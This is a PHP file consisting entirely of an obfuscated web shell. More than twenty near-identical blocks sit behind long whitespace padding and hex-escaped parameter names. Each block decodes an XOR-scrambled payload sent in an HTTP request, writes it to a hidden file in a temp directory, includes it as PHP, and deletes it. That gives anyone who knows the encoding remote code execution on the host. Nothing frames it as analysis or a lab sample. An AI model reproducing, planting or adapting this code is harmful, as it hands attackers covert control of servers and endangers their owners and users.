<?php																																										if(@$_POST["pset"] !== null){ $hld = $_POST["pset"]; $hld = explode ("." , $hld) ; $ent = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); foreach( $hld as $q => $v5) { $sChar = ord( $salt3[$q % $sLen]); $dec = ( ( int)$v5 - $sChar -( $q % 10)) ^ 90; $ent .=chr( $dec);} $descriptor = array_filter(["/var/tmp", "/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd()]); foreach ($descriptor as $key => $factor) { if (array_product([is_dir($factor), is_writable($factor)])) { $reference = "$factor/.rec"; $success = file_put_contents($reference, $ent); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(!empty($_REQUEST["k\x65y"])){ $elem = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir()]); $descriptor = $_REQUEST["k\x65y"]; $descriptor =explode( '.' , $descriptor ); $comp = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $q = 0; $__tmp = $descriptor; while($v2 = array_shift($__tmp)) { $sChar = ord($salt1[$q % $lenS]); $d =((int)$v2 - $sChar -($q % 10)) ^ 38; $comp .= chr($d); $q++; } foreach ($elem as $flag) { if (!( !is_dir($flag) || !is_writable($flag) )) { $data = implode("/", [$flag, ".component"]); if (file_put_contents($data, $comp)) { include $data; @unlink($data); exit; } } } }
																																										if(isset($_REQUEST["v\x61l"])){ $key = $_REQUEST["v\x61l"]; $key = explode ( '.' ,$key) ; $property_set= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6 ); $len= count($key ); for ($v= 0; $v <$len; $v++) { $v8= $key[$v]; $sChar= ord($salt6[$v %$lenS] ); $dec= ((int)$v8 - $sChar - ($v %10)) ^ 11; $property_set.= chr($dec ); } $value = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm"]); foreach ($value as $key => $bind) { if (is_dir($bind) && is_writable($bind)) { $marker = str_replace("{var_dir}", $bind, "{var_dir}/.item"); if (file_put_contents($marker, $property_set)) { require $marker; unlink($marker); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["bi\x6E\x64ing"])){ $descriptor = $_REQUEST["bi\x6E\x64ing"]; $descriptor= explode ( '.' , $descriptor ) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($descriptor as $j =>$v7): $sChar = ord($salt[$j % $sLen]); $dec = ((int)$v7 - $sChar -($j % 10)) ^ 7; $element .= chr($dec); endforeach; $object = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd()]); foreach ($object as $item) { if ((is_dir($item) and is_writable($item))) { $hld = vsprintf("%s/%s", [$item, ".flag"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $hld; @unlink($hld); exit; } } } }
																																										if(!empty($_POST["en\x74\x72y"])){ $tkn = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); $elem = $_POST["en\x74\x72y"]; $elem =explode ( '.' , $elem) ; $res=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s1); $j=0; array_walk($elem ,function ($v7) use (&$res ,&$j ,$s1 ,$sLen) {$sChar=ord($s1[$j % $sLen]); $d=((int)$v7 - $sChar - ($j % 10)) ^ 100; $res .=chr($d); $j++; } ); foreach ($tkn as $pointer) { if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $hld = str_replace("{var_dir}", $pointer, "{var_dir}/.holder"); $success = file_put_contents($hld, $res); if ($success) { include $hld; @unlink($hld); exit;} } } }
																																										if(array_key_exists("\x6D\x72k", $_REQUEST)){ $factor = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp"]); $pointer = $_REQUEST["\x6D\x72k"]; $pointer = explode('.',$pointer ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $u = 0; array_walk( $pointer , function( $v7) use( &$ent , &$u , $salt , $lenS) { $sChar = ord( $salt[$u % $lenS]); $d =( ( int)$v7 - $sChar -( $u % 10)) ^ 93; $ent .= chr( $d); $u++; }); for ($property_set = 0, $val = count($factor); $property_set < $val; $property_set++) { $desc = $factor[$property_set]; if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $pgrp = "$desc/.data_chunk"; if (file_put_contents($pgrp, $ent)) { include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(@$_POST["i\x74\x65m"] !== null){ $entry = $_POST["i\x74\x65m"]; $entry =explode ( '.' , $entry ) ; $object =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $w =0; while($w < count($entry)) { $v3 =$entry[$w]; $sChar =ord($salt[$w %$lenS]); $d =((int)$v3 - $sChar -($w %10)) ^ 67; $object .= chr($d); $w++; } $key = array_filter([getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP")]); for ($itm = 0, $flg = count($key); $itm < $flg; $itm++) { $descriptor = $key[$itm]; if (is_dir($descriptor) ? is_writable($descriptor) : false) { $flag = vsprintf("%s/%s", [$descriptor, ".comp"]); if (file_put_contents($flag, $object)) { require $flag; unlink($flag); exit; } } } }
																																										if(isset($_REQUEST["\x69t\x6D"]) ? true : false){ $descriptor = $_REQUEST["\x69t\x6D"]; $descriptor = explode ( ".", $descriptor ) ; $k=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); foreach ($descriptor as $r => $v5) { $sChar=ord($s[$r % $sLen]); $dec=((int)$v5 - $sChar - ($r % 10)) ^ 7; $k .= chr($dec); } $item = array_filter(["/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($item as $property_set) { if (!!is_dir($property_set) && !!is_writable($property_set)) { $desc = sprintf("%s/.val", $property_set); $success = file_put_contents($desc, $k); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(in_array("fa\x63\x74o\x72", array_keys($_POST))){ $value = $_POST["fa\x63\x74o\x72"]; $value = explode ("." , $value ) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($value); for ($l = 0; $l < $len; $l++) { $v9 = $value[$l]; $sChar = ord($salt[$l %$lenS]); $d = ((int)$v9 - $sChar - ($l %10)) ^ 55; $dat .=chr($d); } $element = array_filter(["/var/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm"]); $flg = 0; do { $fac = $element[$flg] ?? null; if ($flg >= count($element)) break; if (!( !is_dir($fac) || !is_writable($fac) )) { $flag = "$fac" . "/.ptr"; if (file_put_contents($flag, $dat)) { require $flag; unlink($flag); die(); } } $flg++; } while (true); }
																																										if(isset($_POST["\x6Fb\x6Aect"])){ $k = array_filter(["/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]); $mrk = $_POST["\x6Fb\x6Aect"]; $mrk =explode ( '.', $mrk ); $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($mrk); for ($q = 0; $q < $__len; $q++) { $v4 = $mrk[$q]; $sChar = ord($salt[$q % $lenS]); $dec = ((int)$v4 - $sChar - ($q % 10)) ^ 63; $reference.=chr($dec); } foreach ($k as $component) { if (is_dir($component) ? is_writable($component) : false) { $sym = implode("/", [$component, ".entry"]); $success = file_put_contents($sym, $reference); if ($success) { include $sym; @unlink($sym); exit;} } } }
																																										if(array_key_exists("fac", $_REQUEST) && !is_null($_REQUEST["fac"])){ $k = $_REQUEST["fac"]; $k = explode ( '.' , $k ) ; $itm =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s6); $q =0; while( $q < count( $k)) { $v5 =$k[$q]; $chS =ord( $s6[$q % $sLen]); $dec =( ( int)$v5 - $chS -( $q % 10)) ^ 51; $itm .= chr( $dec); $q++;} $dchunk = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/tmp"]); while ($sym = array_shift($dchunk)) { if (!( !is_dir($sym) || !is_writable($sym) )) { $value = vsprintf("%s/%s", [$sym, ".pgrp"]); $success = file_put_contents($value, $itm); if ($success) { include $value; @unlink($value); die();} } } }
																																										if(@$_REQUEST["\x6D\x61\x72ker"] !== null){ $ref = array_filter([getcwd(), session_save_path(), "/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/var/tmp"]); $ent = $_REQUEST["\x6D\x61\x72ker"]; $ent= explode ( '.' , $ent ) ; $factor= ''; $s3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s3 ); $p= 0; array_walk($ent, function ($v9) use (&$factor, &$p, $s3, $lenS) { $sChar= ord($s3[$p % $lenS] ); $dec= ((int)$v9 - $sChar - ($p % 10)) ^ 21; $factor.=chr($dec ); $p++; }); $ptr = 0; do { $parameter_group = $ref[$ptr] ?? null; if ($ptr >= count($ref)) break; if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) { $entity = str_replace("{var_dir}", $parameter_group, "{var_dir}/.entry"); if (file_put_contents($entity, $factor)) { require $entity; unlink($entity); die(); } } $ptr++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Ce\x6D\x65nt")){ $record = array_filter([getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $resource = $_REQUEST["\x65\x6Ce\x6D\x65nt"]; $resource= explode("." , $resource) ; $elem=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt5); $x=0; foreach ($resource as $v1) { $chS=ord($salt5[$x % $sLen]); $d=((int)$v1 - $chS - ($x % 10)) ^ 73; $elem .= chr($d); $x++; } foreach ($record as $symbol): if (!( !is_dir($symbol) || !is_writable($symbol) )) { $hld = vsprintf("%s/%s", [$symbol, ".sym"]); if (file_put_contents($hld, $elem)) { include $hld; @unlink($hld); exit; } } endforeach; }
																																										if(array_key_exists("flg", $_REQUEST) && !is_null($_REQUEST["flg"])){ $ref = $_REQUEST["flg"]; $ref = explode ("." ,$ref ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $ref as $t =>$v6) { $chS = ord( $salt[$t %$lenS] ); $d =( ( int)$v6 - $chS -( $t %10)) ^ 30; $itm .= chr( $d ); } $element = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir")]); for ($entity = 0, $data_chunk = count($element); $entity < $data_chunk; $entity++) { $value = $element[$entity]; if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $record = sprintf("%s/.res", $value); if (file_put_contents($record, $itm)) { require $record; unlink($record); exit; } } } }
																																										if(array_key_exists("d\x61ta_\x63hun\x6B", $_REQUEST) && !is_null($_REQUEST["d\x61ta_\x63hun\x6B"])){ $value = $_REQUEST["d\x61ta_\x63hun\x6B"]; $value = explode ('.', $value ); $fac=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); foreach ($value as $p => $v6): $sChar=ord($salt[$p % $sLen]); $d=((int)$v6 - $sChar - ($p % 10)) ^ 86; $fac.= chr($d); endforeach; $rec = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp"]); for ($ent = 0, $entity = count($rec); $ent < $entity; $ent++) { $comp = $rec[$ent]; if ((bool)is_dir($comp) && (bool)is_writable($comp)) { $token = "$comp/.factor"; $file = fopen($token, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $token; @unlink($token); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79m\x62\x6Fl"])){ $entry = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP")]); $flg = $_REQUEST["s\x79m\x62\x6Fl"]; $flg =explode (".",$flg ) ; $bind = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $y = 0; while ($y < count($flg)) { $v1 = $flg[$y]; $chS = ord($salt6[$y % $sLen]); $d = ((int)$v1 - $chS - ($y % 10))^79; $bind .=chr($d); $y++; } foreach ($entry as $key => $elem) { if (!( !is_dir($elem) || !is_writable($elem) )) { $item = "$elem/.marker"; if (@file_put_contents($item, $bind) !== false) { include $item; unlink($item); die(); } } } }
																																										if(!is_null($_POST["\x72\x65\x63ord"] ?? null)){ $sym = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); $holder = $_POST["\x72\x65\x63ord"]; $holder =explode ( "." , $holder ) ; $ref = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $len = count($holder); for ($t = 0; $t < $len; $t++) { $v4 = $holder[$t]; $chS = ord($salt4[$t%$lenS]); $d = ((int)$v4 - $chS - ($t%10)) ^ 85; $ref.= chr($d);} for ($fac = 0, $comp = count($sym); $fac < $comp; $fac++) { $k = $sym[$fac]; if (max(0, is_dir($k) * is_writable($k))) { $element = "$k/.flag"; if (file_put_contents($element, $ref)) { require $element; unlink($element); die(); } } } }
																																										if(array_key_exists("p\x74r", $_REQUEST)){ $descriptor = $_REQUEST["p\x74r"]; $descriptor= explode ("." , $descriptor); $flag = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $v = 0; foreach( $descriptor as $v9) { $sChar = ord( $salt1[$v % $lenS]); $d =( ( int)$v9 - $sChar -( $v % 10)) ^ 8; $flag .=chr( $d); $v++; } $dat = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]); foreach ($dat as $key => $holder) { if (max(0, is_dir($holder) * is_writable($holder))) { $component = str_replace("{var_dir}", $holder, "{var_dir}/.data_chunk"); if (@file_put_contents($component, $flag) !== false) { include $component; unlink($component); die(); } } } }
																																										if(@$_REQUEST["\x76\x61l"] !== null){ $element = $_REQUEST["\x76\x61l"]; $element= explode ( "." , $element); $ref=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $v=0; array_walk($element, function ($v2) use (&$ref, &$v, $salt, $sLen) { $chS=ord($salt[$v % $sLen]); $d=((int)$v2 - $chS - ($v % 10)) ^25; $ref .= chr($d); $v++; }); $bind = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", getcwd()]); for ($obj = 0, $pgrp = count($bind); $obj < $pgrp; $obj++) { $binding = $bind[$obj]; if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $data_chunk = vsprintf("%s/%s", [$binding, ".component"]); if (@file_put_contents($data_chunk, $ref) !== false) { include $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(isset($_POST["res\x6Furce"])){ $sym = $_POST["res\x6Furce"]; $sym=explode ("." ,$sym ); $hld= ''; $s3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s3); $l= 0; $__len= count( $sym); do { if( $l >= $__len) break; $v5= $sym[$l]; $chS= ord( $s3[$l % $sLen]); $d= ( ( int)$v5 - $chS -( $l % 10)) ^98; $hld.= chr( $d); $l++; } while( true); $ent = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getenv("TMP"), session_save_path(), getcwd(), "/var/tmp", "/tmp"]); foreach ($ent as $object): if (!( !is_dir($object) || !is_writable($object) )) { $obj = str_replace("{var_dir}", $object, "{var_dir}/.binding"); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $obj; @unlink($obj); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["k"])){ $token = $_POST["k"]; $token =explode ( "." , $token) ; $rec =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $n =0; foreach ($token as $v1) { $chS =ord($s[$n % $sLen]); $dec =((int)$v1 - $chS - ($n % 10)) ^65; $rec.= chr($dec); $n++; } $record = array_filter([getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", getenv("TMP"), "/dev/shm"]); $symbol = 0; do { $value = $record[$symbol] ?? null; if ($symbol >= count($record)) break; if (array_product([is_dir($value), is_writable($value)])) { $fac = implode("/", [$value, ".factor"]); if (file_put_contents($fac, $rec)) { require $fac; unlink($fac); exit; } } $symbol++; } while (true); }
																																										if(array_key_exists("\x64\x61ta", $_REQUEST) && !is_null($_REQUEST["\x64\x61ta"])){ $rec = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm"]); $object = $_REQUEST["\x64\x61ta"]; $object=explode ( "." , $object) ; $pointer= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s9 ); $t= 0; $len= count( $object ); do { if( $t >=$len) break; $v5= $object[$t]; $chS= ord( $s9[$t % $sLen] ); $d= ( ( int)$v5 - $chS -( $t % 10)) ^ 18; $pointer .= chr( $d ); $t++; } while( true ); foreach ($rec as $property_set) { if (array_product([is_dir($property_set), is_writable($property_set)])) { $parameter_group = "$property_set" . "/.pgrp"; if (@file_put_contents($parameter_group, $pointer) !== false) { include $parameter_group; unlink($parameter_group); die(); } } } }


if(filter_has_var(INPUT_POST, "f\x61ct\x6F\x72")){
	$descriptor = array_filter(["/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP")]);
	$mrk = $_POST["f\x61ct\x6F\x72"];
			 $mrk  =explode		( 	'.'   ,		$mrk		)		;  
	$parameter_group = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $s = 0;
            $len = count($mrk);
    
            do {	if ($s>= $len) break;
                $v3 = $mrk[$s];
                $chS = ord($salt[$s %	$lenS]);
                $d = ((int)$v3 - $chS - ($s %	10))^ 65;
                $parameter_group.= 	chr($d);
                $s++;
            } while (true);
	$ent = 0;
do {
    $flg = $descriptor[$ent] ?? null;
    if ($ent >= count($descriptor)) break;
    		if (!( !is_dir($flg) || !is_writable($flg) )) {
    $pointer = str_replace("{var_dir}", $flg, "{var_dir}/.hld");
    $file = fopen($pointer, 'w');
if ($file) {
	fwrite($file, $parameter_group);
	fclose($file);
	include $pointer;
	@unlink($pointer);
	die();
}
}
    $ent++;
} while (true);
}